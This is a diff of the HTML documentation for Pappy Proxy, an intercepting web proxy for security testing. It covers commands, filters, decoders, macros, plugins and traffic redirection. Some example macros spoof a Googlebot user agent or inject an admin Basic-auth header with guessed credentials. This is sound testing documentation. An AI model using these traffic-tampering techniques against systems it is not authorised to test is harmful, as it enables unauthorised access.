    vfq <id(s)>view_full_request, vfqview_full_request, vfq, kjq [V]iew [F]ull Re[Q]uest, prints the full request including headers and data.
    vbq <id(s)>view_request_bytes, vbq[V]iew [B]ytes of Re[Q]uest, prints the full request including headers and data without coloring or additional newlines. Use this if you want to write a request to a file.
    ppq <format> <id(s)>pretty_print_request, ppqPretty print a request with a specific format. See the table below for a list of formats.
    vhq <id(s)> view_request_headers, vhq [V]iew [H]eaders of a Re[Q]uest. Prints just the headers of a request.
    vfs <id(s)>view_full_response, vfsview_full_response, vfs, kjs [V]iew [F]ull Re[S]ponse, prints the full response associated with a request including headers and data.
    vhs <id(s)> view_response_headers, vhs [V]iew [H]eaders of a Re[S]ponse. Prints just the headers of a response associated with a request.
    vbs <id(s)>view_response_bytes, vbs[V]iew [B]ytes of Re[S]ponse, prints the full response including headers and data without coloring or additional newlines. Use this if you want to write a response to a file.
    pps <format> <id(s)>pretty_print_response, ppsPretty print a response with a specific format. See the table below for a list of formats.
    pprm <id(s)>print_params, pprmPrint a summary of the parameters submitted with the request. It will include URL params, POST params, and/or cookies
    pri [ct] [key(s)] | param_info, pri | Print a summary of the parameters and values submitted by in-context requests. You can pass in keys to limit which values will be shown. If you also providectas the first argument, it will include any keys that are passed as arguments. | |watch`watchPrint requests and responses in real time as they pass through the proxy.
    +

    Available formats for ppq and pps commands:

    + ++++ + + + + + + + + + + + +
    FormatDescription
    formPrint POST data submitted from a form (normal post data)
    jsonPrint as JSON

    The table shown by ls will have the following columns:

    @@ -484,24 +656,24 @@ will be a part of the current context.

    Filter strings define a condition that a request/response pair must pass to be part of the context. Most filter strings have the following format:

    -
    <field> <comparer> <value>
    +
    <field> <comparer> <value>
     

    Where <field> is some part of the request/response, <comparer> is some comparison to <value>. For example, if you wanted a filter that only matches requests to target.org, you could use the following filter string:

    -
    host is target.org
    +
    host is target.org
     
    -field = "host"
    -comparer = "is"
    -value = "target.org"
    +field = "host"
    +comparer = "is"
    +value = "target.org"
     

    Also if you prefix a comparer with ‘n’ it turns it into a negation. Using the previous example, the following will match any request except for ones where the host contains target.org:

    -
    host nis target.org
    +
    host nis target.org
     
     field = "host"
     comparer = "nis"
    @@ -510,7 +682,7 @@ value = "target.org"
     

    For fields that are a list of key/value pairs (headers, get params, post params, and cookies) you can use the following format:

    -
    <field> <comparer1> <value1>[ <comparer2> <value2>]
    +
    <field> <comparer1> <value1>[ <comparer2> <value2>]
     

    This is a little more complicated. If you don’t give comparer2/value2, @@ -518,7 +690,7 @@ the filter will pass any pair where the key or the value matches comparer1 and value1. If you do give comparer2/value2, the key must match comparer1/value1 and the value must match comparer2/value2 For example:

    -
    Filter A:
    +
    Filter A:
         cookie contains Session
     
     Filter B:
    @@ -571,6 +743,16 @@ Matches both A and B but not C
     
    The body (data section) of either the request or the response String
    reqbodyqbody, qdata, qbd, qdtThe body (data section) of th requestString
    rspbodysbody, sdata, sbd, sdtThe body (data section) of th responseString
    verb verb, vb The HTTP verb of the request (ie GET, POST)An HTTP header (ie User-Agent, Basic-Authorization) in the request or response Key/Value
    reqheaderreqheader, qhdAn HTTP header in the requestKey/Value
    rspheaderrspheader, shdAn HTTP header in the responseKey/Value
    rawheaders rawheaders, rh The entire header section (as one string) of either the head or the response after, af Filters out any request that is not before the given request. Filters out any request without a time.
    invinfInverts a filter string. Anything that matches the filter string will not pass the filter.
    +

    Examples:

    +
    Only show requests before request 1234
    +  f b4 1234
    +
    +Only show requests after request 1234
    +  f af 1234
    +
    +Show requests without a csrf parameter
    +  f inv param ct csrf
    +
    +
    @@ -789,6 +996,129 @@ The fbi command a
    +
    +

    Decoding Strings

    +

    These features try to fill a similar role to Burp’s decoder. Each +command will automatically copy the results to the clipboard. In +addition, if no string is given, the commands will encode/decode +whatever is already in the clipboard. Here is an example of how to +base64 encode/decode a string.

    +
    pappy> b64e "Hello World!"
    +SGVsbG8gV29ybGQh
    +pappy> b64d
    +Hello World!
    +pappy>
    +
    +
    +

    And if the result contains non-printable characters, a hexdump will be +produced instead

    +
    pappy> b64d ImALittleTeapot=
    +0000  22 60 0b 8a db 65 79 37 9a a6 8b                  "`...ey7...
    +
    +pappy>
    +
    +
    +

    The following commands can be used to encode/decode strings:

    + +++++ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CommandAliasesDescription
    base64_decodebase64_decode, b64dBase64 decode a string
    base64_encodebase64_encode, b64eBase64 encode a string
    asciihex_decodeasciihex_decode, ahdDecode an ASCII hex string
    asciihex_encodeasciihex_encode, aheEncode an ASCII hex string
    html_decodehtml_decode, htmldDecode an html encoded string
    html_encodehtml_encode, htmleEncode a string to html encode all of the characters
    url_decodeurl_decode, urldUrl decode a string
    url_encodeurl_encode, urleUrl encode a string
    gzip_decodegzip_decode, gzdGzip decompress a string. Probably won’t work too well since there’s not a great way to get binary data passed in as an argument. I’m working on this.
    gzip_encodegzip_encode, gzeGzip compress a string. Result doesn’t get copied to the clipboard.
    base64_decode_rawbase64_decode_raw, b64drSame as base64_decode but will not print a hexdump if it contains non-printable characters. It is suggested you use > to redirect the output to a file.
    base64_encode_rawbase64_encode_raw, b64erSame as base64_encode but will not print a hexdump if it contains non-printable characters. It is suggested you use > to redirect the output to a file.
    asciihex_decode_rawasciihex_decode_raw, ahdrSame as asciihex_decode but will not print a hexdump if it contains non-printable characters. It is suggested you use > to redirect the output to a file.
    asciihex_encode_rawasciihex_encode_raw, aherSame as asciihex_encode but will not print a hexdump if it contains non-printable characters. It is suggested you use > to redirect the output to a file.
    html_decode_rawhtml_decode_raw, htmldrSame as html_decode but will not print a hexdump if it contains non-printable characters. It is suggested you use > to redirect the output to a file.
    html_encode_rawhtml_encode_raw, htmlerSame as html_encode but will not print a hexdump if it contains non-printable characters. It is suggested you use > to redirect the output to a file.
    url_decode_rawurl_decode_raw, urldrSame as url_decode but will not print a hexdump if it contains non-printable characters. It is suggested you use > to redirect the output to a file.
    url_encode_rawurl_encode_raw, urlerSame as url_encode but will not print a hexdump if it contains non-printable characters. It is suggested you use > to redirect the output to a file.
    gzip_decode_rawgzip_decode_raw, gzdrSame as gzip_decode but will not print a hexdump if it contains non-printable characters. It is suggested you use > to redirect the output to a file.
    gzip_encode_rawgzip_encode_raw, gzerSame as gzip_encode but will not print a hexdump if it contains non-printable characters. It is suggested you use > to redirect the output to a file.
    unixtime_decodeunixtime_decode, uxtdTake in a unix timestamp and print a human readable timestamp
    +

    Interceptor

    This feature is like Burp’s proxy with “Intercept Mode” turned on, @@ -823,7 +1153,7 @@ default to vi.

    -
    Intercept both requests and responses:
    +
    Intercept both requests and responses:
     > ic requests responses
     > ic req rsp
     
    @@ -901,7 +1231,7 @@ make automated requests through the proxy and save them to the data
     file. A macro file is any python script file in the current directory
     that is in the form macro_<name>.py. An example project directory
     with macros would be:

    -
    $ ls -l
    +
    $ ls -l
     -rw-r--r-- 1 scaryhacker wheel     150 Nov 26 11:17 config.json
     -rw------- 1 scaryhacker wheel 2639872 Nov 26 17:18 data.db
     -rw-r--r-- 1 scaryhacker wheel     471 Nov 26 18:42 macro_blank.py
    @@ -914,15 +1244,15 @@ with macros would be:

    test macro. A macro script is any python script that defines a run_macro(args) function and a MACRO_NAME variable. For example, a simple macro would be:

    -
    ### macro_print.py
    +
    ### macro_print.py
     
    -MACRO_NAME = 'Print Macro'
    +MACRO_NAME = 'Print Macro'
     
     def run_macro(args):
         if args:
    -        print "Hello, %s!" % args[0]
    +        print "Hello, %s!" % args[0]
         else:
    -        print "Hello, Pappy!"
    +        print "Hello, Pappy!"
     

    You can place this macro in your project directory then load and run it @@ -930,7 +1260,7 @@ from Pappy. When a macro is run, arguments are passed from the command line. Arguments are separated the same way as they are on the command line, so if you want to use spaces in your argument, you have to put quotes around it.

    -
    $ pappy
    +
    $ pappy
     Proxy is listening on port 8000
     pappy> lma
     Loaded "<Macro Test Macro (tm/test)>"
    @@ -955,7 +1285,7 @@ function will be run when it the macro gets loaded.

    Generating Macros From Requests

    You can also generate macros that have Pappy Request objects created with the same information as requests you’ve already made. For example:

    -
    $ pappy
    +
    $ pappy
     Proxy is listening on port 8000
     pappy> ls
     ID  Verb  Host         Path               S-Code  Req Len  Rsp Len  Time  Mngl
    @@ -1286,18 +1616,18 @@ can fix it.

    requests in macros. It’s worth pointing out that request_by_id is useful for passing request objects as arguments. For example, here is a macro that lets you resubmit a request with the Google Bot user agent:

    -
    ## macro_googlebot.py
    +
    ## macro_googlebot.py
     
     from pappyproxy.http import Request, get_request, post_request, request_by_id
     from pappyproxy.context import set_tag
     from pappyproxy.iter import *
     
    -MACRO_NAME = 'Submit as Google'
    -SHORT_NAME = ''
    +MACRO_NAME = 'Submit as Google'
    +SHORT_NAME = ''
     
     def run_macro(args):
         req = request_by_id(args[0])
    -    req.headers['User-Agent'] = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
    +    req.headers['User-Agent'] = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
         req.submit()
         req.save()
     
    @@ -1351,24 +1681,24 @@ which generates a deferred, then generate a deferred from used twisted before, please don’t try. Twisted is hard. Plus the mangled request will be saved before it is submitted anyways.

    Confusing? Here are some example intercepting macros:

    -
    ## int_cloud2butt.py
    +
    ## int_cloud2butt.py
     
     import string
     
    -MACRO_NAME = 'Cloud to Butt'
    +MACRO_NAME = 'Cloud to Butt'
     
     def mangle_response(request):
         r = request.response.copy()
    -    r.raw_data = string.replace(r.raw_data, 'cloud', 'butt')
    -    r.raw_data = string.replace(r.raw_data, 'Cloud', 'Butt')
    +    r.raw_data = string.replace(r.raw_data, 'cloud', 'butt')
    +    r.raw_data = string.replace(r.raw_data, 'Cloud', 'Butt')
         return r
     
    -
    ## int_donothing.py
    +
    ## int_donothing.py
     
     import string
     
    -MACRO_NAME = 'Do Nothing'
    +MACRO_NAME = 'Do Nothing'
     
     def mangle_request(request):
         return request
    @@ -1377,25 +1707,25 @@ request will be saved before it is submitted anyways.

    return request.response
    -
    ## int_adminplz.py
    +
    ## int_adminplz.py
     
     from base64 import base64encode as b64e
     
    -MACRO_NAME = 'Admin Session'
    +MACRO_NAME = 'Admin Session'
     
     def mangle_request(request):
         r = request.copy()
    -    r.headers['Authorization'] = 'Basic %s' % b64e('Admin:Password123')
    +    r.headers['Authorization'] = 'Basic %s' % b64e('Admin:Password123')
         return r
     

    In addition, you can use an init(args) function to get arguments from the command line. If no arguments are passed, args will be an empty list. Here is an example macro that does a search and replace:

    -
    ## int_replace.py
    +
    ## int_replace.py
     
    -MACRO_NAME = 'Find and Replace'
    -SHORT_NAME = ''
    +MACRO_NAME = 'Find and Replace'
    +SHORT_NAME = ''
     runargs = []
     
     def init(args):
    @@ -1420,7 +1750,7 @@ list. Here is an example macro that does a search and replace:

    You can use this macro to do any search and replace that you want. For example, if you wanted to replace “Google” with “Skynet”, you can run the macro like this:

    -
    pappy> lma
    +
    pappy> lma
     Loaded "<InterceptingMacro Find and Replace (replace)>"
     pappy> rim replace Google Skynet
     "Find and Replace" started
    @@ -1522,6 +1852,10 @@ error checking.

    export Writes either the full request or response to a file in the current directory. +merge <dbfile> +merge +Add all the requests from another datafile to the current datafile +
    @@ -1547,58 +1881,58 @@ scripts. Still, it may not be a bad idea to try building a macro to do something in a quick and dirty way before writing a plugin since plugins are more complicated to write.

    A simple hello world plugin could be something like:

    -
    ## hello.py
    +
    ## hello.py
     import shlex
     
     def hello_world(line):
         if line:
             args = shlex.split(line)
    -        print 'Hello, %s!' % (', '.join(args))
    +        print 'Hello, %s!' % (', '.join(args))
         else:
    -        print "Hello, world!"
    +        print "Hello, world!"
     
    -###############
    -## Plugin hooks
    +###############
    +## Plugin hooks
     
     def load_cmds(cmd):
         cmd.set_cmds({
    -        'hello': (hello_world, None),
    +        'hello': (hello_world, None),
         })
         cmd.add_aliases([
    -        ('hello', 'hlo'),
    -        ('hello', 'ho'),
    +        ('hello', 'hlo'),
    +        ('hello', 'ho'),
         ])
     

    You can also create commands which support autocomplete:

    -
    import shlex
    +
    import shlex
     
    -_AUTOCOMPLETE_NAMES = ['alice', 'allie', 'sarah', 'mallory', 'slagathor']
    +_AUTOCOMPLETE_NAMES = ['alice', 'allie', 'sarah', 'mallory', 'slagathor']
     
     def hello_world(line):
         if line:
             args = shlex.split(line)
    -        print 'Hello, %s!' % (', '.join(args))
    +        print 'Hello, %s!' % (', '.join(args))
         else:
    -        print "Hello, world!"
    +        print "Hello, world!"
     
     def complete_hello_world(text, line, begidx, endidx):
         return [n for n in _AUTOCOMPLETE_NAMES if n.startswith(text)]
     
    -###############
    -## Plugin hooks
    +###############
    +## Plugin hooks
     
     def load_cmds(cmd):
         cmd.set_cmds({
    -        'hello': (hello_world, complete_hello_world),
    +        'hello': (hello_world, complete_hello_world),
         })
         cmd.add_aliases([
    -        ('hello', 'hlo'),
    +        ('hello', 'hlo'),
         ])
     

    Then when you run Pappy you can use the hello command:

    -
    $ pappy -l
    +
    $ pappy -l
     Temporary datafile is /tmp/tmpBOXyJ3
     Proxy is listening on port 8000
     pappy> ho
    @@ -1627,6 +1961,104 @@ you can write out commands that you use regularly but may not be worth
     creating a dedicated plugin for.

    +
    +

    Global Settings

    +

    There are some settings that apply to Pappy as a whole and are stored in +~/.pappy/global_config.json. These settings are generally for tuning +performance or modifying behavior on a system-wide level. No information +about projects is put in here since it is world readable. You can +technically add settings in here for plugins that you write, but if it’s +at all possible, please keep settings in the normal project config.

    +

    Settings included in ~/.pappy/global_config.json:

    + ++++ + + + + + + + + + + +
    SettingDescription
    cache_sizeThe number of requests from history that will be included in memory at any given time. Set to -1 to keep everything in memory. See the request cache section for more info.
    +
    +
    +

    Using a SOCKS Server

    +

    Pappy allows you to use an upstream SOCKS server. You can do this by +adding a socks_proxy value to config.json. You can use the following +for anonymous access to the proxy:

    +
    "socks_proxy": {"host":"socks.proxy.host", "port":5555}
    +
    +
    +

    To use credentials you add a username and password value to the +dictionary:

    +
    "socks_proxy": {"host":"socks.proxy.host", "port":5555, "username": "mario", "password":"ilovemushrooms"}
    +
    +
    +

    Anything that passes through any of the active listeners will use the +proxy.

    +
    +
    +

    Transparent Host Redirection

    +

    Sometimes you get a frustrating thick client that doesn’t let you mess +with proxy settings to get it to go through a proxy. However, if you can +redirect where it sends its traffic to localhost, you can get Pappy to +take that traffic and redirect it to go where it should.

    +

    It takes root permissions to listen on low numbered ports. As a result, +we’ll need to do some root stuff to listen on ports 80 and 443 and get +the data to Pappy. There are two ways to get the traffic to Pappy. The +first is to set up port forwarding as root to send traffic from +localhost:80 to localhost:8080 and localhost:443 to localhost:8443 +(since we can listen on 8080 and 8443 without root). Or you can YOLO, +run Pappy as root and just have it listen on 80 and 443.

    +

    According to Google you can use the following command to forward port 80 +on localhost to 8080 on Linux:

    +
    iptables -t nat -A PREROUTING -i ppp0 -p tcp --dport 80 -j REDIRECT --to-ports 8080
    +
    +
    +

    Then to route 443 to 8443:

    +
    iptables -t nat -A PREROUTING -i ppp0 -p tcp --dport 443 -j REDIRECT --to-ports 8443
    +
    +
    +

    Of course, both of these need to be run as root.

    +

    Then on mac it’s

    +
    echo "
    +rdr pass inet proto tcp from any to any port 80 -> 127.0.0.1 port 8080
    +rdr pass inet proto tcp from any to any port 443 -> 127.0.0.1 port 8443
    +" | sudo pfctl -ef -
    +Then to turn it off on mac it’s
    +sudo pfctl -F all -f /etc/pf.conf
    +
    +
    +

    Then modify the listener settings in the project’s config.json to be:

    +
    "proxy_listeners": [
    +        {"port": 8080, "interface": "127.0.0.1", "forward_host": "www.example.faketld"},
    +        {"port": 8443, "interface": "127.0.0.1", "forward_host_ssl": "www.example.faketld"},
    +    ]
    +
    +
    +

    This configuration will cause Pappy to open a port on 8080 that will +accept connections normally and a port on 8443 which will accept SSL +connections. The forward_host setting tells Pappy to redirect any +requests sent to the port to the given host. It will also update the +request’s host header. forward_host_ssl does the same thing, but it +listens for SSL connections and forces the connection to use SSL.

    +

    Or if you’re going to YOLO it do the same thing then listen on port +80/443 directly. I do not suggest you do this.

    +
    "proxy_listeners": [
    +        {"port": 80, "interface": "127.0.0.1", "forward_host": "www.example.faketld"},
    +        {"port": 443, "interface": "127.0.0.1", "forward_host_ssl": "www.example.faketld"},
    +    ]
    +
    +
    +

    Pappy will automatically use this host to make the connection and +forward the request to the new server.

    +

    FAQ

    @@ -1654,10 +2086,83 @@ it’s saved to disk, it will have an ID of < bit and it will get an ID you can use.

    +
    +

    Boring, Technical Stuff

    +

    I do some stuff to try and keep speed and memory usage to reasonable +levels. Unfortunately, things might seem slow in some areas. This is +where I try and explain why those exist. Honestly, you probably don’t +care about this, but I’d rather have it written down and have nobody +read it than just leave people in the dark.

    +
    +

    Request Cache / Memory usage

    +

    For performance reasons, Pappy by default will not store every request +in memory. The cache will store a certain number of the most recently +accessed requests in memory. This means that if you go through all of +history, it could be slow (for example running ls a or sm). If +you have enough RAM to keep everything in memory, you can set the +request cache size to -1 to just keep everything in memory. However, +even if the cache size is unlimited, it still won’t load a request into +memory untill you access it. So if you want to load everything in +memory, run ls a.

    +

    By default, Pappy will cache 2000 requests. This is kind of heavy, but +it’s assumed you’re doing testing on a reasonably specced laptop. +Personally, I live on the edge and use -1 until I run into memory +issues.

    +
    +

    Changelog

    The boring part of the readme

      +
    • 0.2.7
        +
      • boring unit tests
      • +
      • should make future releases more stable I guess
      • +
      • Support for upstream SOCKS servers
      • +
      • print_params command
      • +
      • inv filter
      • +
      • param_info command
      • +
      • Filters by request/response only headers/body
      • +
      • Transparent host redirection
      • +
      • Some easier to type aliases for common commands
      • +
      +
    • +
    • 0.2.6
        +
      • Fix pip being dumb
      • +
      • watch command to watch requests/responses in real time
      • +
      • Added pp[qs] form <id> to print POST data
      • +
      • Bugfixes
      • +
      +
    • +
    • 0.2.5
        +
      • Requests sent with repeater now are given repeater tag
      • +
      • Add ppq and pps commands
      • +
      • Look at the pretty prompt
      • +
      • Bugfixes
      • +
      +
    • +
    • 0.2.4
        +
      • Add command history saving between sessions
      • +
      • Add html encoder/decoder
      • +
      • All the bugs were fixed so I added some more for 0.2.5
      • +
      +
    • +
    • 0.2.3
        +
      • Decoder functions
      • +
      • Add merge command
      • +
      • Bugfixes
      • +
      +
    • +
    • 0.2.2
        +
      • COLORS
      • +
      • Performance improvements
      • +
      • Bugfixes (duh)
      • +
      +
    • +
    • 0.2.1
        +
      • Improve memory usage
      • +
      • Tweaked plugin API
      • +
      +
    • 0.2.0
      • Lots of refactoring
      • Plugins
      • @@ -1702,6 +2207,12 @@ always be pappy time in your heart, I promise)
    • Configuration
    • +
    • General Console Techniques +
    • Generating Pappy’s CA Cert
    • Browsing Recorded Requests/Responses
    • Tags
    • @@ -1720,6 +2231,7 @@ always be pappy time in your heart, I promise)
    • Built-In Filters
    +
  • Decoding Strings
  • Interceptor
  • Repeater
  • Macros
  • +
  • Global Settings
  • +
  • Using a SOCKS Server
  • +
  • Transparent Host Redirection
  • FAQ
  • +
  • Boring, Technical Stuff +
  • Changelog
  • @@ -1796,12 +2315,12 @@ always be pappy time in your heart, I promise)
  • previous |
  • - +
    \ No newline at end of file diff --git a/docs/build/html/pappyplugins.html b/docs/build/html/pappyplugins.html index 4e9455b..4276ac2 100644 --- a/docs/build/html/pappyplugins.html +++ b/docs/build/html/pappyplugins.html @@ -6,7 +6,7 @@ - Writing Plugins for the Pappy Proxy — Pappy Proxy 0.2.0 documentation + Writing Plugins for the Pappy Proxy — Pappy Proxy 0.2.11 documentation @@ -14,7 +14,7 @@ - + + @@ -36,10 +37,13 @@
  • modules |
  • +
  • + next |
  • previous |
  • - +
    @@ -113,25 +117,25 @@

    Writing a Hello World Plugin

    It’s probably easiest to explain how to write a plugin by writing one. Here is a simple plugin that defines a hello command and gives an alias hlo (we’ll go over all the parts in a second):

    -
    ## hello.py
    +
    ## hello.py
     
     def hello_world(line):
    -    print "Hello, world!"
    +    print "Hello, world!"
     
    -###############
    -## Plugin hooks
    +###############
    +## Plugin hooks
     
     def load_cmds(cmd):
         cmd.set_cmds({
    -        'hello': (hello_world, None),
    +        'hello': (hello_world, None),
         })
         cmd.add_aliases([
    -        ('hello', 'hlo'),
    +        ('hello', 'hlo'),
         ])
     

    Save this as ~/.pappy/plugins/hello.py and run Pappy. You should have a new hello command that prints your message:

    -
    $ cp hello.py ~/.pappy/plugins/
    +
    $ cp hello.py ~/.pappy/plugins/
     $ pappy -l
     Temporary datafile is /tmp/tmp1Myw6q
     Proxy is listening on port 8000
    @@ -154,30 +158,30 @@ pappy>
     

    Passing Arguments to Your Function

    Each command gets bound to one function which takes one argument. That argument is all the text that was entered after the name of the command in the console. For example if we run hello foo bar, in our function line would be “foo bar”. I suggest using shlex.split(line) to parse multiple arguments. So let’s update our script to take some arguments:

    -
    ## hello.py
    +
    ## hello.py
     import shlex
     
     def hello_world(line):
         if line:
             args = shlex.split(line)
    -        print 'Hello, %s!' % (', '.join(args))
    +        print 'Hello, %s!' % (', '.join(args))
         else:
    -        print "Hello, world!"
    +        print "Hello, world!"
     
    -###############
    -## Plugin hooks
    +###############
    +## Plugin hooks
     
     def load_cmds(cmd):
         cmd.set_cmds({
    -        'hello': (hello_world, None),
    +        'hello': (hello_world, None),
         })
         cmd.add_aliases([
    -        ('hello', 'hlo'),
    +        ('hello', 'hlo'),
         ])
     

    Save your changes and restart pappy to reload the plugin:

    -
    $ pappy -l
    +
    $ pappy -l
     Temporary datafile is /tmp/tmpBOXyJ3
     Proxy is listening on port 8000
     pappy> hello
    @@ -193,26 +197,26 @@ pappy>
     

    Adding More Aliases

    So now let’s add some more aliases to our command. If we want to add a new alias, we just add another tuple to the list passed into cmd.add_aliases. The first element is the real name of the command (what you set with set_cmds) and the second value is the alias you want to type. So let’s make it so we can just type ho to say hello:

    -
    ## hello.py
    +
    ## hello.py
     import shlex
     
     def hello_world(line):
         if line:
             args = shlex.split(line)
    -        print 'Hello, %s!' % (', '.join(args))
    +        print 'Hello, %s!' % (', '.join(args))
         else:
    -        print "Hello, world!"
    +        print "Hello, world!"
     
    -###############
    -## Plugin hooks
    +###############
    +## Plugin hooks
     
     def load_cmds(cmd):
         cmd.set_cmds({
    -        'hello': (hello_world, None),
    +        'hello': (hello_world, None),
         })
         cmd.add_aliases([
    -        ('hello', 'hlo'),
    -        ('hello', 'ho'),
    +        ('hello', 'hlo'),
    +        ('hello', 'ho'),
         ])
     
    @@ -221,7 +225,7 @@ pappy>

    You must use the actual name of the command that you used in set_cmds. You can’t “chain” alieases. As a result, in our example we couldn’t add the alias ('hlo', 'ho') to add ho as our alias.

    Then reload the plugin:

    -
    $ pappy -l
    +
    $ pappy -l
     Temporary datafile is /tmp/tmpBOXyJ3
     Proxy is listening on port 8000
     pappy> ho
    @@ -237,7 +241,7 @@ pappy>
     

    Adding Another Command

    So now let’s add a robe_and_wizard_hat command. To do this, we will define another function, then add another entry in the dict that is passed to set_cmds. The second value in the tuple is the autocomplete function, but we’ll get to that later. For now, just put in None to say we don’t have one. We will also add a wh alias to it:

    -
    $ pappy -l
    +
    $ pappy -l
     Temporary datafile is /tmp/tmpyl2cEZ
     Proxy is listening on port 8000
     pappy> wh
    @@ -252,42 +256,42 @@ pappy>
     
    text is the string prefix we are attempting to match: all returned matches must begin with it. line is the current input line with leading whitespace removed, begidx and endidx are the beginning and ending indexes of the prefix text, which could be used to provide different completion depending upon which position the argument is in.

    Let’s let the user to autocomplete some names in our plugin:

    -
    import shlex
    +
    import shlex
     
    -_AUTOCOMPLETE_NAMES = ['alice', 'allie', 'sarah', 'mallory', 'slagathor']
    +_AUTOCOMPLETE_NAMES = ['alice', 'allie', 'sarah', 'mallory', 'slagathor']
     
     def hello_world(line):
         if line:
             args = shlex.split(line)
    -        print 'Hello, %s!' % (', '.join(args))
    +        print 'Hello, %s!' % (', '.join(args))
         else:
    -        print "Hello, world!"
    +        print "Hello, world!"
     
     def put_on_rope_and_wizard_hat(line):
         if line:
    -        print '%s puts on their robe and wizard hat' % line
    +        print '%s puts on their robe and wizard hat' % line
         else:
    -        print 'I put on my robe and wizard hat'
    +        print 'I put on my robe and wizard hat'
     
     def complete_hello_world(text, line, begidx, endidx):
         return [n for n in _AUTOCOMPLETE_NAMES if n.startswith(text)]
     
    -###############
    -## Plugin hooks
    +###############
    +## Plugin hooks
     
     def load_cmds(cmd):
         cmd.set_cmds({
    -        'hello': (hello_world, complete_hello_world),
    -        'wizard_hat': (put_on_rope_and_wizard_hat, None),
    +        'hello': (hello_world, complete_hello_world),
    +        'wizard_hat': (put_on_rope_and_wizard_hat, None),
         })
         cmd.add_aliases([
    -        ('hello', 'hlo'),
    -        ('wizard_hat', 'wh'),
    +        ('hello', 'hlo'),
    +        ('wizard_hat', 'wh'),
         ])
     

    Then restart and run:

    -
    $ pappy -l
    +
    $ pappy -l
     Temporary datafile is /tmp/tmp3J97rE
     Proxy is listening on port 8000
     pappy> hello
    @@ -302,9 +306,9 @@ pappy>
     

    Adding Help

    Now let’s say we want to add some help to the command so that when the user runs help hello they get something useful. To do that, just add a docstring to your function:

    -
    import shlex
    +
    import shlex
     
    -_AUTOCOMPLETE_NAMES = ['alice', 'allie', 'sarah', 'mallory', 'slagathor']
    +_AUTOCOMPLETE_NAMES = ['alice', 'allie', 'sarah', 'mallory', 'slagathor']
     
     def hello_world(line):
         """
    @@ -313,30 +317,30 @@ pappy>
     
         if line:
             args = shlex.split(line)
    -        print 'Hello, %s!' % (', '.join(args))
    +        print 'Hello, %s!' % (', '.join(args))
         else:
    -        print "Hello, world!"
    +        print "Hello, world!"
     
     def put_on_rope_and_wizard_hat(line):
         if line:
    -        print '%s puts on their robe and wizard hat' % line
    +        print '%s puts on their robe and wizard hat' % line
         else:
    -        print 'I put on my robe and wizard hat'
    +        print 'I put on my robe and wizard hat'
     
     def complete_hello_world(text, line, begidx, endidx):
         return [n for n in _AUTOCOMPLETE_NAMES if n.startswith(text)]
     
    -###############
    -## Plugin hooks
    +###############
    +## Plugin hooks
     
     def load_cmds(cmd):
         cmd.set_cmds({
    -        'hello': (hello_world, complete_hello_world),
    -        'wizard_hat': (put_on_rope_and_wizard_hat, None),
    +        'hello': (hello_world, complete_hello_world),
    +        'wizard_hat': (put_on_rope_and_wizard_hat, None),
         })
         cmd.add_aliases([
    -        ('hello', 'hlo'),
    -        ('wizard_hat', 'wh'),
    +        ('hello', 'hlo'),
    +        ('wizard_hat', 'wh'),
         ])
     
    @@ -351,29 +355,29 @@ pappy>

    Note

    This tutorial won’t tell you how to use inlineCallbacks in general. Type “twisted inline callbacks” into google to figure out what they are. This is mainly just a reminder to use the crochet wrapper for console commands and warning you that some functions may return deferreds that you may have to deal with.

    -

    Since you’re writing a plugin, you’ll probably be using functions which return a deferred. And to keep things readable, you’ll want to use the defer.inlineCallbacks function wrapper. Unfortunately, you can’t bind async functions to commands. Luckily, there’s a library called crochet which lets you add another wrapper to the function that lets it be used like a blocking function. Rather than talking about it, let’s write a plugin to call pappyproxy.console.load_reqlist() to print out some requests’ hosts. Let’s start by pretending it’s a normal function:

    -
    import shlex
    -from pappyproxy.console import load_reqlist
    +

    Since you’re writing a plugin, you’ll probably be using functions which return a deferred. And to keep things readable, you’ll want to use the defer.inlineCallbacks function wrapper. Unfortunately, you can’t bind async functions to commands. Luckily, there’s a library called crochet which lets you add another wrapper to the function that lets it be used like a blocking function. Rather than talking about it, let’s write a plugin to call pappyproxy.util.load_reqlist() to print out some requests’ hosts. Let’s start by pretending it’s a normal function:

    +
    import shlex
    +from pappyproxy.util import load_reqlist
     
     def print_hosts(line):
         args = shlex.split(line)
    -    reqs = load_reqlist(args[0]) # It's supposed to return a list of requests, right?
    +    reqs = load_reqlist(args[0]) # It's supposed to return a list of requests, right?
         for r in reqs:
    -        print 'The host for request %s is: %s' % (r.reqid, r.host)
    +        print 'The host for request %s is: %s' % (r.reqid, r.host)
     
    -###############
    -## Plugin hooks
    +###############
    +## Plugin hooks
     
     def load_cmds(cmd):
         cmd.set_cmds({
    -        'print_hosts': (print_hosts, None),
    +        'print_hosts': (print_hosts, None),
         })
         cmd.add_aliases([
         ])
     

    And we run it:

    -
    pappy> print_hosts 1
    +
    pappy> print_hosts 1
     Traceback (most recent call last):
       File "/usr/local/lib/python2.7/dist-packages/cmd2.py", line 788, in onecmd_plus_hooks
         stop = self.onecmd(statement)
    @@ -388,9 +392,9 @@ iteration over non-sequence
     pappy>
     
    -

    Iteration over a non-sequence? what? Well, pappyproxy.console.load_reqlist() doesn’t actually return a list of requests. It returns a deferred which returns a list of requests. I’m not going into the details (look up some stuff on using inline callbacks with Twisted if you want more info), but the way to fix it is to slap an inlineCallbacks wrapper on the function and yield the result of the function. Now it looks like this:

    -
    import shlex
    -from pappyproxy.console import load_reqlist
    +

    Iteration over a non-sequence? what? Well, pappyproxy.util.load_reqlist() doesn’t actually return a list of requests. It returns a deferred which returns a list of requests. I’m not going into the details (look up some stuff on using inline callbacks with Twisted if you want more info), but the way to fix it is to slap an inlineCallbacks wrapper on the function and yield the result of the function. Now it looks like this:

    +
    import shlex
    +from pappyproxy.util import load_reqlist
     from twisted.internet import defer
     
     @defer.inlineCallbacks
    @@ -398,23 +402,23 @@ pappy>
         args = shlex.split(line)
         reqs = yield load_reqlist(args[0])
         for r in reqs:
    -        print 'The host for request %s is: %s' % (r.reqid, r.host)
    +        print 'The host for request %s is: %s' % (r.reqid, r.host)
     
    -###############
    -## Plugin hooks
    +###############
    +## Plugin hooks
     
     def load_cmds(cmd):
         cmd.set_cmds({
    -        'print_hosts': (print_hosts, None),
    +        'print_hosts': (print_hosts, None),
         })
         cmd.add_aliases([
